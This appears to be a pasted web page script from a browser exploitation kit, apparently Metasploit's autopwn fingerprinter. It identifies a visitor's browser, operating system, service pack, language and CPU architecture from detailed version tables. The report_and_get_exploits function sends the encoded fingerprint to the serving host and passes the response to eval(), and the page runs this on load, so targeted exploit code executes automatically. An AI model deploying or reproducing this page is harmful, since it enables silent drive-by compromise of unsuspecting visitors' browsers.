- os_name = "Microsoft Windows";
- break;
- case "2010050600":
- ua_version = "3.5.10";
- os_name = "Linux";
- os_flavor = "SUSE";
- break;
- case "2010051300":
- ua_version = "3.6.4.1";
- os_name = "Linux";
- os_flavor = "SUSE";
- break;
- case "20100513134853":
- ua_version = "3.6.4.b4";
- os_name = "Mac OS X";
- break;
- case "20100513140540":
- ua_version = "3.6.4.b4";
- os_name = "Linux";
- break;
- case "20100513144105":
- ua_version = "3.6.4.b4";
- os_name = "Microsoft Windows";
- break;
- case "20100513190740":
- ua_version = "3.6.3";
- os_name = "FreeBSD";
- os_flavor = "PC-BSD";
- arch = "x86_64";
- break;
- case "20100523180910":
- ua_version = "3.6.4.b5";
- os_name = "Mac OS X";
- break;
- case "20100523181754":
- ua_version = "3.6.4.b5";
- os_name = "Linux";
- break;
- case "20100523185824":
- ua_version = "3.6.4.b5";
- os_name = "Microsoft Windows";
- break;
- case "20100527084110":
- ua_version = "3.6.4.b6";
- os_name = "Mac OS X";
- break;
- case "20100527085242":
- ua_version = "3.6.4.b6";
- os_name = "Linux";
- break;
- case "20100527093236":
- ua_version = "3.6.4.b6";
- os_name = "Microsoft Windows";
- break;
- case "2010061100":
- ua_version = "3.6.4";
- os_name = "Linux";
- os_flavor = "SUSE";
- break;
- case "20100611134546":
- ua_version = "3.6.4.b7";
- os_name = "Mac OS X";
- break;
- case "20100611135942":
- ua_version = "3.6.4.b7";
- os_name = "Linux";
- break;
- case "20100611143157":
- ua_version = "3.6.4.b7";
- os_name = "Microsoft Windows";
- break;
- case "20100622203044":
- ua_version = "3.6.4";
- os_name = "Linux";
- os_flavor = "Fedora";
- arch = "x86_64";
- break;
- case "20100622203045":
- ua_version = "3.6.4";
- os_name = "Linux";
- os_flavor = "Fedora";
- arch = "x86";
- break;
- case "20100622204750":
- ua_version = "3.5.10";
- os_name = "Linux";
- os_flavor = "Fedora";
- arch = "x86_64";
- break;
- case "20100622204830":
- ua_version = "3.5.10";
- os_name = "Linux";
- os_flavor = "Fedora";
- arch = "x86";
- break;
- case "20100622205038":
- ua_version = "3.6.4";
- os_name = "Linux";
- os_flavor = "PClinuxOS";
- arch = "x86_64";
- break;
- case "20100623081410":
- ua_version = "3.6.4";
- os_name = "Linux";
- os_flavor = "CentOS";
- arch = "x86_64";
- break;
- case "20100623081921":
- ua_version = "3.6.4";
- os_name = "Linux";
- os_flavor = "CentOS";
- arch = "x86";
- break;
- case "20100623155731":
- ua_version = "3.6.4.b7";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86";
- break;
- case "20100623200132":
- ua_version = "3.6.4.b7";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86_64";
- break;
- case "20100625222733":
- ua_version = "3.6.6";
- os_name = "Linux";
- break;
- case "20100625223402":
- ua_version = "3.6.6";
- os_name = "Mac OS X";
- break;
- case "20100625231939":
- ua_version = "3.6.6";
- os_name = "Microsoft Windows";
- break;
- case "20100626104508":
- ua_version = "3.6.4";
- os_name = "FreeBSD";
- os_flavor = "PC-BSD";
- arch = "x86";
- break;
- case "20100627211341":
- ua_version = "3.6.4";
- os_name = "FreeBSD";
- os_flavor = "PC-BSD";
- arch = "x86_64";
- break;
- case "20100628082832":
- ua_version = "3.6.6";
- os_name = "Linux";
- os_flavor = "PClinuxOS";
- arch = "x86_64";
- break;
- case "20100628124739":
- ua_version = "3.6.6";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86";
- break;
- case "20100628143222":
- ua_version = "3.6.6";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86_64";
- break;
- case "20100628232431":
- ua_version = "3.6.6";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86";
- break;
- case "20100629034705":
- ua_version = "3.6.6";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86_64";
- break;
- case "20100629105354":
- ua_version = "3.6.6";
- os_name = "Linux";
- os_flavor = "Mandriva";
- arch = "x86";
- break;
- case "20100630130433":
- ua_version = "3.6.6";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86_64";
- break;
- case "20100630131607":
- ua_version = "4.0.0.b1";
- os_name = "Mac OS X";
- break;
- case "20100630132217":
- ua_version = "4.0.0.b1";
- os_name = "Linux";
- break;
- case "20100630141702":
- ua_version = "4.0.0.b1";
- os_name = "Microsoft Windows";
- break;
- case "20100630174226":
- ua_version = "3.6.6";
- os_name = "Linux";
- os_flavor = "Sabayon";
- arch = "x86_64";
- break;
- case "20100630180611":
- ua_version = "3.6.6";
- os_name = "Linux";
- os_flavor = "Sabayon";
- arch = "x86";
- break;
- case "20100709115208":
- ua_version = "3.6.7.b1";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86";
- break;
- case "20100709183408":
- ua_version = "3.6.7.b1";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86_64";
- break;
- case "20100716093011":
- ua_version = "3.6.7.b2";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- arch = "x86_64";
- break;
- case "20101203075014":
- ua_version = "3.6.13";
- os_name = "Microsoft Windows";
- break;
- case "20101206122825":
- ua_version = "3.6.13";
- os_name = "Linux";
- os_flavor = "Ubuntu";
- break;
- default:
- version = searchVersion("Firefox", navigator.userAgent);
- if(version && version.split(".")[0] == ua_version.split(".")[0]) {
- if(-1 != version.indexOf(" ")) {
- version = version.substr(0, version.indexOf(" "));
- }
- ua_version = version;
- } else {
- ua_is_lying = true;
- }
- break;
- }
- } else if(typeof ScriptEngineMajorVersion == "function") {
- os_name = "Microsoft Windows";
- ua_name = "MSIE";
- version = ScriptEngineMajorVersion().toString();
- version += ScriptEngineMinorVersion().toString();
- version += ScriptEngineBuildVersion().toString();
- switch(version) {
- case "514615":
- ua_version = "5.0";
- os_flavor = "2000";
- os_sp = "SP0";
- break;
- case "515907":
- os_flavor = "2000";
- os_sp = "SP3";
- break;
- case "518513":
- os_flavor = "2000";
- os_sp = "SP4";
- break;
- case "566626":
- ua_version = "6.0";
- os_flavor = "XP";
- os_sp = "SP0";
- break;
- case "568515":
- ua_version = "6.0";
- os_flavor = "2003";
- os_sp = "SP0";
- break;
- case "568820":
- os_flavor = "XP";
- os_sp = "SP2";
- break;
- case "568827":
- os_flavor = "2003";
- os_sp = "SP1";
- break;
- case "568831":
- if(os_flavor == "2000") {
- os_sp = "SP4";
- } else {
- os_flavor = "XP";
- os_sp = "SP2";
- }
- break;
- case "568832":
- os_flavor = "2003";
- os_sp = "SP2";
- break;
- case "568837":
- ua_version = "6.0";
- os_flavor = "XP";
- os_sp = "SP2";
- break;
- case "575730":
- ua_version = "7.0";
- os_sp = "SP2";
- break;
- case "5716599":
- case "5718066":
- ua_version = "7.0";
- os_flavor = "XP";
- os_sp = "SP3";
- break;
- case "576000":
- ua_version = "7.0";
- os_flavor = "Vista";
- os_sp = "SP0";
- break;
- case "5822960":
- case "5818702":
- ua_version = "8.0";
- os_flavor = "XP";
- os_sp = "SP3";
- break;
- case "580":
- case "5816385":
- case "5816475":
- case "5816762":
- ua_version = "8.0";
- os_flavor = "7";
- os_sp = "SP0";
- break;
- case "9016406":
- ua_version = "9.0";
- os_flavor = "7";
- os_sp = "SP0";
- break;
- }
- if(!ua_version) {
- if(document.documentElement && (typeof document.documentElement.style.maxHeight) != "undefined") {
- try {
- ua_version = "8.0";
- document.documentElement.style.display = "table-cell";
- } catch(e) {
- ua_version = "7.0";
- }
- } else if(document.compatMode) {
- ua_version = "6.0";
- } else if(window.createPopup) {
- ua_version = "5.5";
- } else if(window.attachEvent) {
- ua_version = "5.0";
- } else {
- ua_version = "4.0";
- }
- switch(navigator.appMinorVersion) {
- case ";SP2;":
- ua_version += ";SP2";
- break;
- }
- }
- }
- if(!os_name && navigator.platform == "Win32") {
- os_name = "Microsoft Windows";
- }
- if(!ua_is_lying) {
- version = useragent.toLowerCase();
- } else if(navigator.oscpu) {
- version = navigator.oscpu.toLowerCase();
- } else {
- version = " ";
- }
- if(!os_name || 0 == os_name.length) {
- if(version.indexOf("windows") != -1) {
- os_name = "Microsoft Windows";
- } else if(version.indexOf("mac") != -1) {
- os_name = "Mac OS X";
- } else if(version.indexOf("linux") != -1) {
- os_name = "Linux";
- }
- }
- if(os_name == "Microsoft Windows" && (!os_flavor || 0 == os_flavor.length)) {
- if(version.indexOf("windows 95") != -1) {
- os_flavor = "95";
- } else if(version.indexOf("windows nt 4") != -1) {
- os_flavor = "NT";
- } else if(version.indexOf("win 9x 4.9") != -1) {
- os_flavor = "ME";
- } else if(version.indexOf("windows 98") != -1) {
- os_flavor = "98";
- } else if(version.indexOf("windows nt 5.0") != -1) {
- os_flavor = "2000";
- } else if(version.indexOf("windows nt 5.1") != -1) {
- os_flavor = "XP";
- } else if(version.indexOf("windows nt 5.2") != -1) {
- os_flavor = "2003";
- } else if(version.indexOf("windows nt 6.0") != -1) {
- os_flavor = "Vista";
- } else if(version.indexOf("windows nt 6.1") != -1) {
- os_flavor = "7";
- }
- }
- if(os_name == "Linux" && (!os_flavor || 0 == os_flavor.length)) {
- if(version.indexOf("gentoo") != -1) {
- os_flavor = "Gentoo";
- } else if(version.indexOf("ubuntu") != -1) {
- os_flavor = "Ubuntu";
- } else if(version.indexOf("debian") != -1) {
- os_flavor = "Debian";
- } else if(version.indexOf("rhel") != -1) {
- os_flavor = "RHEL";
- } else if(version.indexOf("red hat") != -1) {
- os_flavor = "RHEL";
- } else if(version.indexOf("centos") != -1) {
- os_flavor = "CentOS";
- } else if(version.indexOf("fedora") != -1) {
- os_flavor = "Fedora";
- } else if(version.indexOf("android") != -1) {
- os_flavor = "Android";
- }
- }
- if(navigator.systemLanguage) {
- os_lang = navigator.systemLanguage;
- } else if(navigator.language) {
- os_lang = navigator.language;
- } else {
- os_lang = "en";
- }
- if(typeof (navigator.cpuClass) != 'undefined') {
- switch(navigator.cpuClass) {
- case "x86":
- arch = "x86";
- break;
- case "x64":
- arch = "x86_64";
- break;
- }
- }
- if(!arch || 0 == arch.length) {
- version = navigator.platform;
- if(("Win32" == version) || (version.match(/i.86/))) {
- arch = "x86";
- } else if(-1 != version.indexOf('x64') || (-1 != version.indexOf('x86_64'))) {
- arch = "x86_64";
- } else if(-1 != version.indexOf('PPC')) {
- arch = "ppc";
- }
- }
- return {
- os_name: os_name,
- os_flavor: os_flavor,
- os_sp: os_sp,
- os_lang: os_lang,
- arch: arch,
- ua_name: ua_name,
- ua_version: ua_version
- };
- }
- function searchVersion(needle, haystack){
- var index = haystack.indexOf(needle);
- var found_version;
- if(index == -1) {
- return;
- }
- found_version = haystack.substring(index + needle.length + 1);
- if(found_version.indexOf(' ') != -1) {
- found_version = found_version.substring(0, found_version.indexOf(' '));
- }
- return found_version;
- }
- function ua_ver_cmp(ver_a, ver_b){
- if(ver_a == ver_b) {
- return 0;
- }
- a = ver_a.split(".");
- b = ver_b.split(".");
- for(var i = 0; i < Math.max(a.length, b.length); i++) {
- if(!b[i]) {
- b[i] = "0";
- }
- if(!a[i]) {
- a[i] = "0";
- }
- if(a[i] == b[i]) {
- continue;
- }
- a_int = parseInt(a[i]);
- b_int = parseInt(b[i]);
- a_rest = a[i].substr(a_int.toString().length);
- b_rest = b[i].substr(b_int.toString().length);
- if(a_int < b_int) {
- return -1;
- } else if(a_int > b_int) {
- return 1;
- } else {
- if(a_rest == "b" && b_rest.length == 0) {
- return -1;
- }
- if(b_rest == "b" && a_rest.length == 0) {
- return 1;
- }
- if(a_rest < b_rest) {
- return -1;
- } else if(a_rest > b_rest) {
- return 1;
- }
- }
- }
- return 0;
- }
- function ua_ver_lt(a, b){
- if(-1 == ua_ver_cmp(a, b)) {
- return true;
- }
- return false;
- }
- function ua_ver_gt(a, b){
- if(1 == ua_ver_cmp(a, b)) {
- return true;
- }
- return false;
- }
- function ua_ver_eq(a, b){
- if(0 == ua_ver_cmp(a, b)) {
- return true;
- }
- return false;
- }
- var Base64 = {
- _keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
- _utf8_encode: function(input) {
- input = input.replace(/\r\n/g, "\n");
- var utftext = "";
- var input_idx;
- for(input_idx = 0; input_idx < input.length; input_idx++) {
- var chr = input.charCodeAt(input_idx);
- if(chr < 128) {
- utftext += String.fromCharCode(chr);
- } else if((chr > 127) && (chr < 2048)) {
- utftext += String.fromCharCode((chr >> 6) | 192);
- utftext += String.fromCharCode((chr & 63) | 128);
- } else {
- utftext += String.fromCharCode((chr >> 12) | 224);
- utftext += String.fromCharCode(((chr >> 6) & 63) | 128);
- utftext += String.fromCharCode((chr & 63) | 128);
- }
- }
- return utftext;
- },
- encode: function(input) {
- var output = "";
- var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
- var input_idx = 0;
- input = Base64._utf8_encode(input);
- while(input_idx < input.length) {
- chr1 = input.charCodeAt(input_idx++);
- chr2 = input.charCodeAt(input_idx++);
- chr3 = input.charCodeAt(input_idx++);
- enc1 = chr1 >> 2;
- enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
- enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
- enc4 = chr3 & 63;
- if(isNaN(chr2)) {
- enc3 = enc4 = 64;
- } else if(isNaN(chr3)) {
- enc4 = 64;
- }
- output = output + this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) + this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4);
- }
- return output;
- },
- decode: function(input) {
- var output = "";
- var chr1, chr2, chr3;
- var enc1, enc2, enc3, enc4;
- var i = 0;
- input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
- while(i < input.length) {
- enc1 = this._keyStr.indexOf(input.charAt(i++));
- enc2 = this._keyStr.indexOf(input.charAt(i++));
- enc3 = this._keyStr.indexOf(input.charAt(i++));
- enc4 = this._keyStr.indexOf(input.charAt(i++));
- chr1 = (enc1 << 2) | (enc2 >> 4);
- chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
- chr3 = ((enc3 & 3) << 6) | enc4;
- output = output + String.fromCharCode(chr1);
- if(enc3 != 64) {
- output = output + String.fromCharCode(chr2);
- }
- if(enc4 != 64) {
- output = output + String.fromCharCode(chr3);
- }
- }
- output = Base64._utf8_decode(output);
- return output;
- },
- _utf8_decode: function(utftext) {
- var string = "";
- var input_idx = 0;
- var chr1 = 0;
- var chr2 = 0;
- var chr3 = 0;
- while(input_idx < utftext.length) {
- chr1 = utftext.charCodeAt(input_idx);
- if(chr1 < 128) {
- string += String.fromCharCode(chr1);
- input_idx++;
- } else if((chr1 > 191) && (chr1 < 224)) {
- chr2 = utftext.charCodeAt(input_idx + 1);
- string += String.fromCharCode(((chr1 & 31) << 6) | (chr2 & 63));
- input_idx += 2;
- } else {
- chr2 = utftext.charCodeAt(input_idx + 1);
- chr3 = utftext.charCodeAt(input_idx + 2);
- string += String.fromCharCode(((chr1 & 15) << 12) | ((chr2 & 63) << 6) | (chr3 & 63));
- input_idx += 3;
- }
- }
- return string;
- }
- };
- function make_xhr(){
- var xhr;
- try {
- xhr = new XMLHttpRequest();
- } catch(e) {
- try {
- xhr = new ActiveXObject("Microsoft.XMLHTTP");
- } catch(e) {
- xhr = new ActiveXObject("MSXML2.ServerXMLHTTP");
- }
- }
- if(!xhr) {
- throw "failed to create XMLHttpRequest";
- }
- return xhr;
- }
- function report_and_get_exploits(detected_version){
- var encoded_detection;
- xhr = make_xhr();
- xhr.onreadystatechange = function() {
- if(xhr.readyState == 4 && (xhr.status == 200 || xhr.status == 304)) {
- eval(xhr.responseText);
- }
- };
- encoded_detection = new String();
- document.body.innerHTML += navigator.userAgent + "<br><br>";
- for(prop in detected_version) {
- document.body.innerHTML += prop + " " + detected_version[prop] + "<br>";
- encoded_detection += detected_version[prop] + ":";
- }
- document.body.innerHTML += "<br>";
- encoded_detection = Base64.encode(encoded_detection);
- xhr.open("GET", document.location + "?sessid=" + encoded_detection);
- xhr.send(null);
- }
- function bodyOnLoad(){
- var detected_version = getVersion();
- report_and_get_exploits(detected_version);
- }
- if(!(typeof (debug) == 'function')) {
- function htmlentities(str){
- str = str.replace(/>/g, '>');
- str = str.replace(/</g, '<');
- str = str.replace(/&/g, '&');
- return str;
- }
- function debug(msg){
- document.body.innerHTML += (msg + "<br />\n");
- }
- } //--></script> </head> <body onload="bodyOnLoad()"> <noscript>
- <iframe src="?ns=1"></iframe></noscript>
- </body> </html>
Add Comment
Please, Sign In to add comment